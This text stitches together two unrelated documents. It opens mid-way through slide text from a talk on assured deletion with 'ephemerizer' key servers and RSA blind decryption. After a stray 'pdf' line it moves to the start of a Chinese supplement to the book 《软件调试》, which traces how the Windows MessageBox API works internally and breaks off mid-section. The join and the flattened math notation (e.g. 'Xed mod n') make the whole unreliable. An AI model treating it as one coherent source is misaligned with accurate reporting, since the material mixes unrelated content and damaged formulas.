8, 2016: public key PJan8of2016 Jan 9, 2016: public key PJan9of2016 Jan 10, 2016: public key PJan10of2016 etc One permanent public key P certified through PKI Signs the ephemeral keys with P 82 Storage system with Master keys Master keys S1 Jan 7, 2016 S2 Jan 8, 2016 S3 Jan 9, 2016 … file Exp 01/08/16 {K}S2 Encrypted With K Master keys: Secret keys (e.g., AES) generated by storage system 83 Backup of Master Keys Master keys S1 Jan 7, 2016 S2 Jan 8, 2016 S3 Jan 9, 2016 … Ephemerizer keys P1 Jan 7, 2016 P2 Jan 8, 2016 P3 Jan 9, 2016 … {S1}P1, Jan 7, 2016 {S2}P2, Jan 8, 2016 {S3}P3, Jan 9, 2016 … file Exp 01/08/16 {K}S2 Encrypted With K Encrypted with G Sysadmin secret 84 Backup of keys Notes • Only talk to the ephemerizer if your hardware with master keys dies, and you need to retrieve master keys from backup • Ephemerizer really scalable: – Same public keys for all customers (10,000 keys for 30 years, one per day) – Only talk to a customer perhaps every few years…to unwrap keys being recovered from backup 85 But you might be a bit annoyed at this point 86 But you might be a bit annoyed at this point • Haven’t we simply pushed the problem onto the ephemerizer? • It has to reliably keep private keys until expiration, and then reliably delete them 87 Two ways ephemerizer can “fail” • Prematurely lose private keys • Fail to forget private keys 88 Two ways ephemerizer can “fail” • Prematurely lose private keys • Fail to forget private keys • Let’s worry about these one at a time…first worry about losing keys prematurely 89 Losing keys prematurely • We will allow an ephemerizer to be flaky, and lose keys • Generate keys, and do decryption, on tamper- proof module • An honest ephemerizer should not make copies of its ephemeral private keys • So…wouldn’t it be a disaster if it lost its keys when a customer needs to recover from backup? 90 Question: How many copies of private keys should ephemerizer keep so you feel safe? • Let’s say 20 91 The reason why it’s not just pushing the problem • You can achieve arbitrary robustness by using enough “flaky” ephemerizers! – Independent ephemerizers • Different organizations • Different countries • Different continents – Independent public keys 92 Use multiple ephemerizers! Master keys S1 Jan 7, 2016 S2 Jan 8, 2016 S3 Jan 9, 2016 … Ephemerizer keys P1 Jan 7, 2016 P2 Jan 8, 2016 P3 Jan 9, 2016 … Q1 Jan 7, 2016 Q2 Jan 8, 2016 Q3 Jan 9, 2016 … {S1}P1, {S1}Q1 Jan 7, 2016 {S2}P2, {S2}Q2 Jan 8, 2016 {S3}P3, {S3}Q3 Jan 9, 2016 … file Exp 01/08/16 {K}S2 Encrypted With K Encrypted with G Sysadmin secret 93 Backup of keys What if ephemerizer doesn’t destroy private key when it should? • Then the storage system can use a quorum scheme (k out of n ephemerizers) – Break master key into n pieces, such that a quorum of k can recover it – Encrypt each piece with each of the n ephemerizers’ public keys 94 So, after disaster, 10,000 decryptions • Not so bad, but we can do better 95 No reason keys have to be independent random numbers • We could make day n+1 key one-way hash of day n key (or store it encrypted with day n’s key) • Then we only need to ask for a single decryption after a disaster (the one closest to expiration) • And we can locally derive the rest of the keys 96 Ephemerizer decryption protocol • Protocol for asking ephemerizer to decrypt – That doesn’t let the ephemerizer see what it’s decrypting – Doesn’t require authentication of either end – Super light-weight (can be one IP packet each direction, very little computation) 97 I’ll skip over how • Because I’m sure we’ll be short on time • But I’m leaving the slides there 98 What we want to accomplish File system Ephemerizer Please decrypt {Si}Pi with key ID i Si Has {Si}Pi use private key i 99 What we want to accomplish File system Ephemerizer Please decrypt {Si}Pi with key ID i Si Has {Si}Pi use private key i But we don’t want the Ephemerizer to see Si 100 We’ll use “blind decryption” • FS wants Eph to decrypt {Si}Pi with Eph’s private key #i – … Without Eph seeing what it is decrypting • FS chooses inverse functions – “blind/unblind” (B, U) • encrypts (blinds) with Blind Function, which commutes with Eph’s crypto • Then FS applies U to unblind 101 Using Blind Decryption File system Ephemerizer Please decrypt B{{Si}Pi} with key ID i B{Si} Has {Si}Pi use private key i File system applies U to get Si Ephemerizer only sees B{Si} Invents functions (B,U) just for this conversation 102 Non-math fans can take a nap 103 For you math fans… 104 Quick review of RSA • Public key is (e,n). Private key is (d,n), where e and d are “exponentiative inverses mod n” • That means Xed mod n=X • Encrypt X with public key (e,n) means computing Xe mod n 105 Blind Decryption with RSA, Eph’s RSA PK=(e,n), msg=M File System Ephemerizer wants to decrypt Me mod n chooses R, computes Re mod n Me Re mod n applies (d,n) MedRed M R mod n divides by R mod n to get plaintext M 106 Properties of our protocol • Ephemerizer gains no knowledge when it is asked to do a decryption • Protocol is really efficient: one IP packet request, one IP packet response • No need to authenticate either side • Decryption can even be done anonymously 107 OK, non-math fans can wake up now 108 Because of blind decryption • The customer does not need to run its own Ephemerizers, or really trust the Ephemerizers very much • Ephemeral key management can be outsourced 109 General philosophy • Achieve robustness by lots of can-be-flaky components • Failures are truly independent – Different organizations – Different administrators – Independent clocks 110 In contrast, a non-resilient solution 111 People kept wanting “on-demand” delete • And I kept arguing that it was not useful, and wouldn’t be scalable 112 People kept wanting “on-demand” delete • And I kept arguing that it was not useful, and wouldn’t be scalable • But then I realized how to do it 113 People kept wanting “on-demand” delete • And I kept arguing that it was not useful, and wouldn’t be scalable • But then I realized how to do it • And think it’s a really bad idea 114 People kept wanting “on-demand” delete • And I kept arguing that it was not useful, and wouldn’t be scalable • But then I realized how to do it • And think it’s a really bad idea • And it’s useful to see both how to do it, and why it’s a bad idea 115 On-demand delete 116 Instead of master keys • Storage system keeps “F-table”, consisting of a secret key for each (expirable) piece of data • Adds key to F-table when new (expirable) data stored • Deletes key from F-table when (expirable) data is assuredly-deleted 117 Ephemerizer state • In time-based system, ephemerizer didn’t need to know its customers • For the on-demand system, ephemerizer needs to keep two public keys for each customer file system – current public key (Pn) – previous public key (Pn-1) 118 File system with F-table Volatile storage F1, F2, F3, F4, F5, ….. …..Fmillion file Ptr to F-table Encrypted With F2 F-table 119 File system with F-table Volatile storage F1, F2, F3, F4, F5, ….. …..Fmillion file Ptr to F-table Encrypted With F2 F-table Modify F-table when you assure-delete a file Or create a new file F-table has key for each file…if a million files, a million keys 120 File system with F-table Volatile storage F1, F2, F3, F4, F5, ….. …..Fmillion Ephemerizer keys For client X Pi-1 Pi … For client X Qi-1 Qi … Local NV storage file Ptr to F-table Encrypted With F2 F-table snapshot encrypted with Piand Qi Remote NV storage Older snapshot encrypted with Pi-1 and Qi-1 F-table 121 Sufficiently replicated for robustness So what’s wrong? 122 My concern • Suppose you change P’s every week • Suppose you find out that the file system was corrupted a month ago • And that parts of the F-key database were corrupted, without your knowledge • You can’t go back 123 Why isn’t pre-determined expiration time as scary? • If file system is not corrupted when a file is created, and the file is backed up, and the S-table is backed up, you can recover an unexpired file from backup • Whereas with the on-demand scheme, if the file system gets corrupted, all data can get lost 124 Note • I’ve shown 3 very different problems, with very different solutions • I’m not sure there is any one piece of advice other than “think about the case of misbehaving participants” 125 Thank you! 126
pdf
《软件调试》补编 - 1 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 《软件调试》补编 作者:张银奎 2009 年 1 月 12 日 《软件调试》补编 - 2 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 大多数程序员的技术水平不如黑客的主要原因是他们远远不如黑客 那样重视和擅于使用调试技术。 《软件调试》补编 - 3 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 前 言 总的来说,今天的软件很糟糕,而且一段时期内还会继续变得更糟。原因有 很多,关键的是错误观念大行其道,聊举数例。 “写代码很容易,不需要那么资深的人”,于是乎软件白领变蓝领了,蓝领 还是大材小用,“软件民工刚刚好,性价比最高。” “我从来不调试我的程序,运行一下没有错误就可以了。”这是为什么使用 调试器来看时,很多软件有那么多明晃晃的问题。 “XXX 很快呀”,还可以用它来写操作系统呢?!当我启动一个应用程序需 要 5 秒钟以上时,看着硬盘的灯疯狂的闪动,我恨不得快点把它从我的系统中删 掉。 “抓 BUG 完全是程序员自己的事。”那么项目延迟了还是程序员自己的事 么? “今天的硬盘空间大,CPU 速度快,内存条便宜,软件大一些,多用些资 源没关系。” 事实上,没有简单的软件,无论是上层的应用程序,还是下层的驱动或者系 统程序。 软件的特征决定了软件天生就需要像绣花那样精工细作。软件是给 CPU 来 运行的,让高速的 CPU 在软件编排的指令流上奔跑可谓是系千钧于一发。糟糕 的软件在浪费能源、也在浪费时间,如果套用鲁迅先生说的话,那么糟糕的软件 每天都在图财害命。 如何才能让软件变得很精细,准确无误呢?不仔细看一看可以做到么? 有些软件可以工作,但是有时会出问题,糟糕的是,出了问题后没有什么办 法来寻找原因。在 XXX 做了一年多的开发之后,对此深有体会,一次我向在 XXX 上工作多年的一个朋友询问:“在 XXX 上调试主要靠什么方法呢?”他的 回答颇令人回味:“靠想!” “使劲想,然后加些 PRINT,逐步缩小范围…….” 多么好的程序员呀! 老雷 2009 年元月 《软件调试》补编 - 4 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 《软件调试》书友活动获奖名单 整理和发布这份补编的主要目的是赠送给参加“2008《软件调试》以书会友” 活动的朋友们。这次活动从 2008 年 6 月 1 日开始,截止日期为 2008 年 12 月 31 日。从 6 月 11 日 Neilshu 第一个参与,到 12 月 31 日的 23 点 47 分 Vito1997 参 与,共有 22 位朋友参加了这次活动,收到照片大约 100 幅。 参与这次活动的 22 位朋友是: Casechen Ccl ckj1234 Coding Dbgsun Flyingdancex grant_fei2003@hotmail.com hnsy777 KernelPanic Mabel Mybios Neilhsu Nightxie Pch s5689412 shamexln speedingboy turboc Vito1997 WANGyu xszhou1997 yfliu 经过博文视点的周老师和《软件调试》这本书的编辑团队以及作者的认真评 比,获奖结果如下: 一等奖 一等奖 一等奖 一等奖一名 一名 一名 一名: : : :Neilhsu 奖品为《奔腾 4 全录:IA32 处理器宗谱》(The Unabridged Pentium 4: IA32 Processor Genealogy)作者签名英文原版 二等奖 二等奖 二等奖 二等奖两名 两名 两名 两名: : : :mybios 和 和 和 和 nightxie 奖品为《深入解析 Windows 操作系统 第 4 版》 三等奖 三等奖 三等奖 三等奖三名 三名 三名 三名: : : :yfliu、 、 、 、WANGyu 和 和 和 和 shamexln 奖品为《Windows 用户态程序高效排错》 所有参加活动的朋友都获得纪念奖,奖品是电子版本的《<软件调试>补编》。 衷心感谢参加这次活动的所有朋友,愿我们的友谊永驻! 《软件调试》补编 - 5 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 目 录 补编内容 1 错误提示机制之消息框............................................................................................. 9 13.1 MessageBox .................................................................................................................. 9 13.1.1 MessageBoxEx................................................................................................. 10 13.1.2 MessageBoxTimeout........................................................................................ 10 13.1.3 MessageBoxWorker...........................................................................................11 13.1.4 InternalDialogBox.............................................................................................11 13.1.5 消息框选项(uType) .................................................................................... 12 13.1.6 返回值.............................................................................................................. 13 13.1.7 归纳.................................................................................................................. 13 补编内容 2 堆检查之实例分析................................................................................................... 15 23.16 实例分析................................................................................................................... 15 23.16.1 FaultDll 和 FaultApp...................................................................................... 15 23.16.2 运行调试版本................................................................................................ 16 23.16.3 分析原因........................................................................................................ 17 23.16.4 发布版本........................................................................................................ 18 23.16.5 回放混乱过程................................................................................................ 19 23.16.6 思考................................................................................................................ 20 补编内容 4 异常编译................................................................................................................... 22 24.6 栈展开......................................................................................................................... 22 24.6.1 SehUnwind ....................................................................................................... 22 24.6.2 全局展开.......................................................................................................... 24 24.6.3 局部展开(Local Unwind) ........................................................................... 25 24.7 __try{}__finally 结构 ................................................................................................. 27 24.8 C++的 try{}catch 结构 ............................................................................................... 29 24.8.1 C++的异常处理............................................................................................... 30 24.8.2 C++异常处理的编译....................................................................................... 31 24.9 编译 throw 语句.......................................................................................................... 35 补编内容 5 调试符号详解........................................................................................................... 38 25.9 EXE 和 Compiland 符号............................................................................................. 38 25.9.1 SymTagExe[1].................................................................................................. 38 25.9.2 SymTagCompiland[2] ...................................................................................... 40 25.9.3 SymTagCompilandEnv[4]................................................................................ 40 25.9.4 SymCompilandDetail[3]................................................................................... 41 25.10 类型符号................................................................................................................... 42 25.10.1 SymTagBaseType[16]..................................................................................... 42 25.10.2 SymTagUDT[11]............................................................................................ 42 《软件调试》补编 - 6 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 25.10.3 SymTagBaseClass[18].................................................................................... 43 25.10.4 SymTagEnum[12]........................................................................................... 44 25.10.5 SymTagPointerType[14]................................................................................. 45 25.10.6 SymTagArrayType.......................................................................................... 45 25.10.7 SymTagTypedef[17] ....................................................................................... 45 25.11 函数符号................................................................................................................... 46 25.11.1 SymTagFunctionType[13] .............................................................................. 46 25.11.2 SymTagFunctionArgType[13] ........................................................................ 46 25.11.3 SymTagFunction [5] ....................................................................................... 47 25.11.4 SymTagFunctionStart[21]............................................................................... 47 25.11.5 SymTagFunctionEnd[22]................................................................................ 48 25.11.6 SymTagLabel[9] ............................................................................................. 48 25.12 数据符号................................................................................................................... 48 25.12.1 公共属性........................................................................................................ 49 25.12.2 全局数据符号................................................................................................ 50 25.12.3 参数符号........................................................................................................ 50 25.12.4 局部变量符号................................................................................................ 51 25.13 Thunk 及其符号........................................................................................................ 52 25.13.1 DLL 技术中的 Thunk.................................................................................... 52 25.13.2 实现不同字长模块间调用的 Thunk............................................................. 52 25.13.3 启动线程的 Thunk......................................................................................... 53 25.13.4 Thunk 分类..................................................................................................... 53 25.13.5 Thunk 符号..................................................................................................... 54 补编内容 6 调试器标准............................................................................................................... 55 28.9 JPDA 标准 .................................................................................................................. 55 28.9.1 JPDA 概貌........................................................................................................ 55 28.9.2 JDI .................................................................................................................... 56 28.9.3 JVM TI ............................................................................................................. 57 28.9.4 JDWP................................................................................................................ 60 补编内容 7 WinDBG 内幕............................................................................................................ 62 29.8 内核调试..................................................................................................................... 62 29.8.1 建立内核调试会话.......................................................................................... 62 29.8.2 等待调试事件.................................................................................................. 64 29.8.3 执行命令.......................................................................................................... 65 29.8.4 将调试目标中断到调试器 .............................................................................. 66 29.8.5 本地内核调试.................................................................................................. 66 29.9 远程用户态调试......................................................................................................... 67 29.9.1 基本模型.......................................................................................................... 67 29.9.2 进程服务器...................................................................................................... 67 29.9.3 连接进程服务器.............................................................................................. 68 29.9.4 服务循环.......................................................................................................... 68 29.9.5 建立调试会话.................................................................................................. 69 29.9.6 比较.................................................................................................................. 70 补编内容 8 WMI ........................................................................................................................... 71 《软件调试》补编 - 7 – Copyright © 2009 ADVDBG.ORG All Rights Reserved WMI.................................................................................................................................................. 72 31.1 WBEM 简介................................................................................................................ 72 31.2 CIM 和 MOF............................................................................................................... 73 31.2.1 类和 Schema .................................................................................................... 74 31.2.2 MOF ................................................................................................................. 75 31.2.3 WMI CIM Studio.............................................................................................. 76 31.2.4 定义自己的类.................................................................................................. 78 31.3 WMI 的架构和基础构件 ........................................................................................... 80 31.3.1 WMI 的架构 .................................................................................................... 80 31.3.2 WMI 的工作目录和文件................................................................................. 81 31.3.3 CIM 对象管理器.............................................................................................. 82 31.3.4 WMI 服务进程 ................................................................................................ 87 31.3.5 WMI 服务的请求和处理过程......................................................................... 88 31.4 WMI 提供器 ............................................................................................................... 90 31.4.1 Windows 系统的 WMI 提供器 ....................................................................... 91 31.4.2 编写新的 WMI 提供器.................................................................................... 92 31.4.3 WMI 提供器进程 ............................................................................................ 96 31.5 WMI 应用程序 ........................................................................................................... 97 31.5.1 通过 COM/DCOM 接口使用 WMI 服务 ....................................................... 97 31.5.2 WMI 脚本 ........................................................................................................ 98 31.5.3 WQL................................................................................................................. 99 31.5.4 WMI 代码生成器 .......................................................................................... 102 31.5.5 WMI ODBC 适配器 ...................................................................................... 102 31.5.6 在.Net 程序中使用 WMI............................................................................... 103 31.6 调试 WMI ................................................................................................................. 104 31.6.1 WMI 日志文件 .............................................................................................. 104 31.6.2 WMI 的计数器类 .......................................................................................... 105 31.6.3 WMI 的故障诊断类 ...................................................................................... 106 31.6 本章总结................................................................................................................... 109 补编内容 9 CPU 异常逐一描述 ..................................................................................................110 CPU 异常详解................................................................................................................................111 C.1 除零异常(#DE)......................................................................................................111 C.2 调试异常(#DB)......................................................................................................111 C.3 不可屏蔽中断(NMI)..............................................................................................112 C.4 断点异常(#BP).......................................................................................................112 C.5 溢出异常(#OF) ......................................................................................................113 C.6 数组越界异常(#BR)..............................................................................................113 C.7 非法操作码异常(#UD)..........................................................................................114 C.8 设备不可用异常(#NM).........................................................................................115 C.9 双重错误异常(#DF) ..............................................................................................115 C.10 协处理器段溢出异常 ...............................................................................................117 C.11 无效 TSS 异常(#TS)............................................................................................117 C.12 段不存在异常(#NP) ............................................................................................119 C.13 栈错误异常(#SS)................................................................................................ 120 《软件调试》补编 - 8 – Copyright © 2009 ADVDBG.ORG All Rights Reserved C.14 一般性保护异常(#GP) ....................................................................................... 121 C.15 页错误异常(#PF)................................................................................................ 123 C.16 x87 FPU 浮点错误异常(#MF) ........................................................................... 125 C.17 对齐检查异常(#AC)........................................................................................... 126 C.18 机器检查异常(#MC) .......................................................................................... 128 C.19 SIMD 浮点异常(#XF) ........................................................................................ 128 补编内容 10 《软件调试》导读............................................................................................... 131 《软件调试》导读之提纲挈领.................................................................................................. 132 从最初的书名说起...................................................................................................... 132 2005 年时的选题列选单............................................................................................. 134 重构.............................................................................................................................. 135 目前的架构.................................................................................................................. 135 《软件调试》导读之绪论篇...................................................................................................... 138 《软件调试》导读之 CPU 篇...................................................................................................... 139 《软件调试》导读之操作系统篇.............................................................................................. 142 补编内容 11 “调试之剑”专栏之启动系列................................................................................. 145 举步维艰——如何调试显示器点亮前的故障 .......................................................................... 146 权利移交——如何调试引导过程中的故障.............................................................................. 152 步步为营——如何调试操作系统加载阶段的故障 .................................................................. 159 百废待兴——如何调试内核初始化阶段的故障 ...................................................................... 166 《软件调试》补编 - 9 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 补编内容 补编内容 补编内容 补编内容 1 错误提示机制之消息框 错误提示机制之消息框 错误提示机制之消息框 错误提示机制之消息框 补编说明: 这一节本来属于《软件调试》第 13 章的第 1 节,旨在介绍消息框这种简单的 错误提示机制。凡是做过 Windows 编程的人都知道,消息框用起来很简单, 但是大多数人没有仔细思考过它内部是如何工作的,这个问题其实不是很容 易说清楚的。 在《软件调试》正式出版前压缩篇幅时,这一节被删除了。主要原因是相 对于其它内容,这个内容略显次要,作者也担心有人会提出这样的质疑: “花好几页就写个消息框实在是不值得!”。 13.1 MessageBox 消息对话框(message box)是 Windows 中最常见的即时错误提示方法。利用系统提 供的 MessageBox API,弹出一个图形化的消息框对程序员来说真是唾手可得。而且不论 是程序本身带有消息循环的 Win32 GUI 程序,还是用户代码中根本没有消息循环的控制 台程序,都可以调用这个 API,清单 13-1 所示的代码显示了名为 MsgBox 的控制台程序是 如何调用 MessageBox API 的。 清单 13-1 MsgBox 程序的源代码(部分) #include <windows.h> void main() { MessageBox(NULL, "Simplest way for interactive Instant Error Notification", "Instant Error Notification", MB_OK); } 编写过 Windows 程序消息循环的读者看了清单 13-1 中的代码很可能有个疑问: Windows 窗口都是靠清单 13-2 所示的消息循环来驱动的,但上面的控制台程序根本没有 消息循环,消息窗口是如何工作的呢? 清单 13-2 Windows 程序的消息循环 while( (bRet = GetMessage( &msg, NULL, 0, 0 )) != 0) { if (bRet == -1) { // handle the error and possibly exit } else { TranslateMessage(&msg); DispatchMessage(&msg); } 《软件调试》补编 - 10 – Copyright © 2009 ADVDBG.ORG All Rights Reserved } 使用 WinDBG 跟踪 MessageBox 函数的执行过程,就可以回答上面的问题了。清单 13-3 显示了 MessageBox 函数的内部执行过程。 清单 13-3 MessageBox 函数的执行过程 0:000> knL # ChildEBP RetAddr 00 0012f990 77d48b04 SharedUserData!SystemCallStub // 进入内核态执行 01 0012f994 77d48ae7 USER32!NtUserPeekMessage+0xc // 调用子系统的内核服务 02 0012f9bc 77d48c07 USER32!_PeekMessage+0x72 // 内部函数 03 0012f9e8 77d4e5d9 USER32!PeekMessageW+0xba // 调用查取消息的 API 04 0012fa30 77d53e2a USER32!DialogBox2+0xe2 // 显示对话框并开始消息循坏 05 0012fa58 77d6e6a8 USER32!InternalDialogBox+0xce // 创建对话框 06 0012fd10 77d6e12b USER32!SoftModalMessageBox+0x72c // 动态产生对话框资源 07 0012fe58 77d6e7ef USER32!MessageBoxWorker+0x267 // 工作函数 08 0012feb0 77d6e8d7 USER32!MessageBoxTimeoutW+0x78 // UNICODE 版本 09 0012fee4 77d6e864 USER32!MessageBoxTimeoutA+0x9a // 带超时支持的消息框函数 0a 0012ff04 77d6e848 USER32!MessageBoxExA+0x19 // 统一到 MessageBoxEx API 0b 0012ff1c 0040103e USER32!MessageBoxA+0x44 // 调用 MessageBox API 0c 0012ff80 00401199 msgbox!main+0x2e // main 函数 0d 0012ffc0 77e8141a msgbox!mainCRTStartup+0xe9 // C 运行库的入口函数 0e 0012fff0 00000000 kernel32!BaseProcessStart+0x23 // 进程的启动函数 通过以上函数调用序列,我们可以很清楚地看出 MessageBox API 的执行过程。下面 逐步来进行分析。因为 k 命令是照按从(栈)顶到(栈)底的顺序显示的,所以函数调用 的关系是下面的调用上面的。最下面的 BaseProcessStart 是系统提供的进程启动代码, 普通Windows进程的初始线程都是从此开始运行的。接下来是VC编译器插入的入口函数, 而后是我们代码中的 main 函数。我们在 main 函数中调用了 MessageBox API,因为是 ANSI 程序(非 Unicode),所以链接的是 MessageBoxA(MessageBoxW 是用于 Unicode 程 序)。MessageBoxA 内部的没有做任何处理,只是简单地调用另一个 API MessageBoxEx。 13.1.1 MessageBoxEx MessageBoxEx API 的函数原型只比 MessageBox 多一个参数 wLanguageId,即: int MessageBoxEx( HWND hWnd, LPCTSTR lpText, LPCTSTR lpCaption, UINT uType, WORD wLanguageId); 其中,hWnd 用来指定父窗口句柄,如果没有父窗口,那么可以将其设置为 NULL。lpText 和 lpCaption 分别是消息框的消息文本和标题。uType 用来定制消息框的行为,我们稍 后再讨论。wLanguageId 参数用来指定语言,目前这个参数保留未用,调用时只要指定为 0 即可。因此,MessageBox 和 MessageBoxEx 这两个 API 是等价的。 13.1.2 MessageBoxTimeout 接下来被调用的是 MessageBoxTimeout,它是一个广被使用但却未文档化的 API, 其函数原型如下: int MessageBoxTimeout(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType, WORD wLanguageId, DWORD dwMilliseconds); 与 MessageBoxEx 相比 , MessageBoxTimeout 也只 是多 了最 后一 个参 数, 即 dwMilliseconds。这是因为 MessageBoxTimeout 函数具有定时器(timer)功能,当定 时器指定的时间到期(timeout)时,它会自动关闭对话框,dwMilliseconds 参数就是用 来指定定时器的时间长度的,单位是毫秒(1/1000 秒)。尽管没有文档化,但是 USER32.DLL 输出了 MessageBoxTimeout 函数,因此可以用通过 GetProcAddress 函数获取这个函数 的 指 针 来 动 态 调 用 它 , MsgBox 小 程 序 中 包 含 了 详 细 的 源 代 码 《软件调试》补编 - 11 – Copyright © 2009 ADVDBG.ORG All Rights Reserved (code\chap13\msgbox\msgbox.cpp)。 接下来,MessageBoxTimeoutA在把所有字符串类型的参数都转为 UNICODE 类型后, 调用 MessageBoxTimeoutW。这是自 Windows 2000 以来的典型做法,大多数包含字符串 类型参数的 API 都有 UNICODE 和 ANSI 两个版本,一个版本在将参数转换为另一个版本 的参数后便交由另一个版本统一处理。 MessageBoxTimeoutW 将所有参数放入一个与 MSDN 中文档化了的 MSGBOXPARAMS 结构 非常类似的内部结构中,然后将该结构的指针作为参数调用 MessageBoxWorker 函数。另 一个消息框 API MessageBoxIndirect 使用了 MSGBOXPARAMS 结构。 13.1.3 MessageBoxWorker MessageBoxWorker 做了很多琐碎的参数检查和处理工作,比如,根据 dwStyle(对 应于顶层的 uType 参数)和 dwLanguageId 参数确定按钮和加载按钮文字等。在准备好这 些信息并将其放到刚才所说的内部结构中后,MessageBoxWorker 便完成任务了,它会把 接下来的工作交给 SoftModalMessageBox 函数。 需要说明的是,如果 uType 参数中指定了 MB_SERVICE_NOTIFICATION 或 MB_ DEFAULT_DESKTOP_ONLY 标志,那么 MessageBoxWorker 会调用 ServiceMessageBox 函 数来处理。ServiceMessageBox 判断,如果对话框应该显示在其他 Station(工作站),那 么便调用 WinStationSendMessage 将其转发到其他 Windows Station,如果对话框应该显 示在当前 Station,那么便调用 NtRaiseHardError 服务将其发给 Windows 子系统进程 (CSRSS)来处理。下一节将详细讨论 NtRaiseHardError 的工作原理。 首先,SoftModalMessageBox 做的工作更加具体,包括计算消息文字所需的长度, 按钮和消息窗口的位置及大小等。然后 SoftModalMessageBox 将这些信息放到一个自己 动态创建的窗口模板(template)中。大家知道我们在设计对话框时都需要在资源中创建 对话框模板,其中包含了对话框的位置、布局、内容等信息。因为我们在调用 MessageBox 函数时没有提供资源模板,所以 SoftModalMessageBox 在这里动态创建了一个。在有了 资源模板后,SoftModalMessageBox 将其传递给 InternalDialogBox,让其产生对话框。 13.1.4 InternalDialogBox 接下来的过程就与使用 DialogBox API 产生的模态对话框的过程基本一致了。 InternalDialogBox 首先检查参数中的拥有者窗口(owner)句柄是否为空,如果不为空, 那么便调用 NtUserEnableWindow 将其禁止,这是为什么在一个程序弹出模态对话框(消 息对话框总是模态的)后,父窗口就不响应了的原因。接下来,Internal- DialogBox 调 用 InternalCreateDialog 创建对话框窗口,如果创建失败,则恢复父窗口后返回。如果 成功,它会调用 NtUserShowWindow 显示消息框,然后调用 DialogBox2。 正如大家所估计的,DialogBox2 内部包含了一个类似清单 13-2 所示的消息循环。该 循环反复调用 PeekMessage 来从本线程的消息队列中获取消息,然后处理。这样,消息框 窗口便可以与用户交互了。 图 13-1 左侧是 MsgBox 程序在 Windows XP 英文版上运行时弹出的消息框,右侧是在 Windows 2000 中文版上运行时弹出的消息框。显而易见,二者除了窗口风格略有差异外, OK 按钮的文字是与操作系统的语言相一致的,这是因为 MessageBoxWorker 函数是根据 《软件调试》补编 - 12 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 语言 ID 来加载合适的字符串资源的。 图 13-1 MessageBox API 弹出的消息框 13.1.5 消息框选项(uType) 在对 MessageBox 的工作原理有了较深入的了解后,下面我们回过头来仔细考察它的 uType 参数。uType 参数的类型是无符号的整数(32 位),用来指定控制 MessageBox 外 观和行为的各种选项。为了便于使用,每一种选项被定义为一个以 MB_开始的宏(定义 在 winuser.h 文件中),如 MB_YESNO 表示消息框中应该包含 YES 和 NO 按钮。迄今为止, 已经定义了将近 40 个这样的宏,按照类型被分为 6 个组(group),表 13-1 按类别列出了 这些宏的定义和用途。 表 13-1 MessageBox API 的选项标志 宏定义/类 值/类掩码 含义 按钮类(MB_TYPEMASK) 0x0000000FL 用来定义包含的按钮 MB_OK 0x00000000L 显示 OK 按钮 MB_OKCANCEL 0x00000001L 显示 OK 和 Cancel 按钮 MB_ABORTRETRYIGNORE 0x00000002L 显示 Abort、Retry 和 Ignore 按钮 MB_YESNOCANCEL 0x00000003L 显示 Yes、No 和 Cancel 按钮 MB_YESNO 0x00000004L 显示 Yes 和 No 按钮 MB_RETRYCANCEL 0x00000005L 显示 Retry 和 Cancel 按钮 MB_CANCELTRYCONTINUE 0x00000006L 显示 Cancel、Try Again 和 Continue 按钮 图标类(MB_ICONMASK) 0x000000F0L 用来定义包含的图标 MB_ICONHAND 0x00000010L 带有停止符号的图标 MB_ICONQUESTION 0x00000020L 带有问号的图标 MB_ICONEXCLAMATION 0x00000030L 带有惊叹号的图标 MB_ICONASTERISK 0x00000040L 带有字母 i 的图标 MB_USERICON (仅用于 MessageBoxIndirect) 0x00000080L 通过 MSGBOXPARAMS 结构的 lpszIcon 指定图标资源 MB_ICONWARNING 0x00000030L 带有惊叹号的图标 MB_ICONERROR 0x00000010L 带有停止符号(X)的图标 宏定义/类 值/类掩码 含义 MB_ICONINFORMATION 0x00000040L 带有字母 i 的图标 MB_ICONSTOP 0x00000010L 带有停止符号(X)的图标 默认按钮(MB_DEFMASK) 0x00000F00L 定义默认(含初始焦点的按钮)按钮 MB_DEFBUTTON1 0x00000000L 第一个按钮为默认按钮 MB_DEFBUTTON2 0x00000100L 第二个按钮为默认按钮 MB_DEFBUTTON3 0x00000200L 第三个按钮为默认按钮 MB_DEFBUTTON4 0x00000300L 第四个按钮为默认按钮 模态(modality) (MB_MODEMASK) 0x00003000L 指定窗口的模态性 MB_APPLMODAL 0x00000000L 应用程序级模态(见下文) MB_SYSTEMMODAL 0x00001000L 系统级模态(见下文) MB_TASKMODAL 0x00002000L 任务级模态(见下文) 杂项(MB_MISCMASK) 0x0000C000L 《软件调试》补编 - 13 – Copyright © 2009 ADVDBG.ORG All Rights Reserved MB_HELP 0x00004000L 包含 Help 按钮,当用户按此按钮 时,向 hWnd 窗口发送 WM_HELP 消息 MB_NOFOCUS 0x00008000L 内部使用,参见微软知识库 87341 号文章 其他 N/A MB_SETFOREGROUND 0x00010000L 对消息框窗口调用 SetForegroundWindow MB_DEFAULT_DESKTOP_ONLY 0x00020000L 仅在默认桌面显示消息框 MB_TOPMOST 0x00040000L 消息框具有 WS_EX_TOPMOST 属性 MB_RIGHT 0x00080000L 文字右对齐 MB_RTLREADING 0x00100000L 按从右到左的顺序显示标题和消 息文字 MB_SERVICE_NOTIFICATION 0x00200000L 供系统服务(system service)程序 使用 MB_SERVICE_NOTIFICATION 0x00040000L 用于 NT 4 之前的 Windows 版本 MB_SERVICE_NOTIFICATION_NT3X 0x00040000L 用于 NT 3.51 其中,模态性用来定义消息框弹出后,消息框窗口对用户输入的垄断性,如果模态性 为 MB_APPLMODAL,那么,hWnd 参数所指定的父窗口将被禁止,直到消息框关闭后 才恢复响应。如果模态性为 MB_SYSTEMMODAL,那么,除了具有 MB_APPLMODAL 的特征外,消息框窗口还会被授予 WS_EX_TOPMOST 属性,也就是成为最上层窗口,这 样,如果它不被关闭,就总显示在最顶层,目的是让用户始终看到,但这时用户可以与 hWnd 参数外的其他窗口交互。如果指定 MB_TASKMODAL,即使 hWnd 参数为 NULL, 则当前线程的所有顶层窗口也将被禁止,这是为了在不知道顶层窗口句柄时也将其禁止。 13.1.6 返回值 MessageBox 